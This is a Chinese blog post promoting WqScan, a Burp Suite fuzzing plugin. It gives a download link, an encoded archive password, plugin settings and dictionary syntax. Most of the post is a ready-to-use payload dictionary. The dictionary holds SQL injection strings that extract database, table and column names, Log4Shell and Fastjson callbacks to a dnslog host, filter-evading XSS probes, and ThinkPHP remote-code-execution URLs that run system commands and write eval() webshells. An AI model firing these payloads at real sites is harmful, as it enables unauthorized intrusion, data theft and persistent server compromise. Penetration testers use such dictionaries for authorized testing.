WqScan(小乘级自动化辅助工具)

weixin_47183851

已于 2023-01-20 22:48:11 修改

阅读量1.6k

点赞数 3

文章标签： web安全 java 人工智能

于 2022-10-01 23:13:59 首次发布

本文链接：https://blog.csdn.net/weixin_47183851/article/details/127044459

版权

下载地址:

https://download.csdn.net/download/weixin_47183851/86746671

提示:
需要下载且不想付积分的请留言或微信私聊
解压密码(base64解码之后就是解压密码): bGd0MTM3MjQ3MzU4MjM=
WqScan 1.0 已经升级到了WqScan 2.0, 比较之前的wQScan 1.0做了很多功能上的升级, 特别自动审计漏洞方面的
需要新版的WqScan 2.0, 可以直接联系, 私发

联系方式

/*
*请简洁说明来意
*java在线执行
*https://c.runoob.com/compile/10/
*/
public class HelloWorld {
	public static void main(String[] args) {
        String charsets="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,.!@#$%*";
		int[] xxxxx={53,55,59,54,56,59,55,57,60,54,55};
        String last_message="微";
		last_message=last_message+"信";
		last_message=last_message+"手";
		last_message=last_message+"机";
		last_message=last_message+"号";
		last_message=last_message+"：";
		for (int i : xxxxx) {
			last_message=last_message+charsets.charAt(i);
		}
		System.out.println(last_message);
    }
    
}

WqScan插件变量

# WqScan插件每次请求都会替换http/https 数据包中 :::time 为当前时间: 11:36:19
:::time
# WqScan插件每次请求都会替换http/https 数据包中 :::date 为当前日期: 2023-1-20
:::date
# WqScan插件每次请求都会替换http/https 数据包中 :::Tstamp 为当前时间戳: 1280977330000
:::Tstamp
# WqScan插件每次请求都会替换http/https 数据包中 :::ralpha 为1个随机字母: b
:::ralpha
# WqScan插件每次请求都会替换http/https 数据包中 :::rdigit 为1个随机字母: 3
:::rdigit

Fuzz模块

智能模式可根据关键字自动筛选存在问题的fuzz测试条目, 显示黄色(告警色)
Fuzz模块可加载自制规定语法的payload字典, 字典语法Fuzz模块附录见
Fuzz模块的被动模式可根据提前设定的payload自动fuzz测试,
可指定fuzz测试指定域名, 多个域名用 ; 分隔, Fuzz模块则根据指定域名进行fuzz测试
可设定排除条件, 多个排除条件用 ; 分隔, Fuzz模块则根据排除条件匹配url中是否存在该条件, 存在则排除
可设定每个fuzz测试请求间隔时间, 秒为单位
可勾选自动搜索payload位置, TextEditor栏标志payload
MessageEditor栏兼容 burp suite 编辑器的右键和快捷键
去重功能可根据url的唯一性进行去重(不排除同参数)

直接 burp suite 的右键发送到WqScan插件

Fuzz payload 字典

'
''
6' and 1='1
6 and 1='2
6 and exists (select * from sysobjects)
6 and exists(select * from tableName)
6 and 1=(select @@VERSION)
6 And 1=(select db_name())
6 and 1=(select @@servername)
6 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
6 and 1=(Select IS_MEMBER('db_owner'))
6 and 1= (Select HAS_DBACCESS('master'))
${jndi:ldap://jclqfx.dnslog.cn/Log4jTest}
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://jclqfx.dnslog.cn/","autoCommit":true}}
{"@type":"java.net.Inet4Address","val":"jclqfx.dnslog.cn"}
'and(select extractvalue(1,concat(0x7e,(select database()))))
'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
linsert:::1' and 1=(select top 1 table_name from information_schema.tables)--+::::::
linsert:::1' and 1=convert(int,db_name(),111) --+::::::
linsert:::1' and 1=cast(host_name() as int) --+::::::
linsert:::1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --::::::
linsert:::1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --::::::
linsert:::1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --::::::
linsert:::1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--::::::
linsert:::1 and 1=utl_inaddr.get_host_name((select user from dual))--::::::
rinsert:::'and(select updatexml(1,concat(0x7e,(select database())),0x7e))::::::
rinsert:::'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))::::::
rinsert:::'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))::::::
rinsert:::'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))::::::
"><scr<script>ipt>top['ale'+'rt'].call(null,11111)</scr<script>ipt>
"><script>top['ale'+'rt'].call(null,111111)</script>
"><scRiPt>top['ale'+'rt'].call(null,1);</scrIPt>
"><div οnclick="top['ale'+'rt'].call(null,11111)">
<div οnmοuseenter="top['ale'+'rt'].call(null,1111)">
<div onclick ="top['ale'+'rt'].call(null,1111)">
<a href="javascript:top['ale'+'rt'].call(null,11111)">
<script>\u0061\u006C\u0065\u0072\u0074(1111)</script>
<script>+top['ale'+'rt'].call(null,111)</script>
<script src=data:text/javascript,top['ale'+'rt'].call(null,1111)></script>
<img src=x οnerrοr=top['ale'+'rt'].call(null,1111)>
<input οnfοcus=top['ale'+'rt'].call(null,1111) autofocus>
<input οnblur=top['ale'+'rt'].call(null,1111) autofocus><input autofocus>
<svg/οnlοad=prompt(1111);>
linsert:::/index.php?s=/index/index/xxx/@phpinfo()#::::::
linsert:::/index.php?s=a/b/c/{@phpinfo()}#::::::
linsert:::/index.php?s=a/b/c/@phpinfo()#::::::
linsert:::?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd::::::
linsert:::s=whoami&_method=__construct&filter&filter=system::::::
linsert:::_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami::::::
linsert:::?s=index/think\request/input?data[]=phpinfo()&filter=assert::::::
linsert:::?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1::::::
linsert:::?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>::::::
linsert:::?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>::::::
linsert:::exp1 = '/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'::::::
linsert:::?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ‘<?php @eval($_POST[xxxxxx]);?>'>zxc2.php'::::::
linsert:::?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1::::::
linsert:::?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1::::::
linsert:::?s=index/\think\Request/input&filter=phpinfo&data=1::::::
linsert:::?s=index/\think\Request/input&filter=system&data=操作系统命令::::::
linsert:::?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E::::::
linsert:::?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1::::::
linsert:::?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令::::::
linsert:::?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1::::::
linsert:::?s=index/think\request/input?data[]=phpinfo()&filter=assert::::::
linsert:::?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1::::::
linsert:::?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>::::::

字典语法

模式:::payload:::匹配响应的正则(可选):::正则匹配成功则设置该颜色(可选)

xxxxxxxxxxxx
默认rinsert模式, 即追加到参数末尾

linsert:::llllllinsert:::name:::#FF00FF
linsert模式即添加到参数开始

minsert:::mmmmmminsert:::extractregexp:::color
minsert模式即插入到参数中间

rinsert:::rrrrrrinsert:::name:::#FF00FF
默认rinsert模式, 即追加到参数末尾

replace:::1,2,3,4,5,6,7,8,9,0:::-----replace:::extractregexp:::color
replace模式即从右到左匹配正则并替换到参数中, 多个正则用 , 分隔

mreplace:::a,b,c,d,e,f,g,h:::mmmmreplace:::name:::#FF00FF
mreplace模式即从中间到右匹配正则并替换到参数中, 多个正则用 , 分隔

提示: 请一个遵守:::语法, 否则WqScan插件将视为无效语法, 可选项可直接不提供, 但请保持:::格式, 例如: linsert:::llllllinsert::::::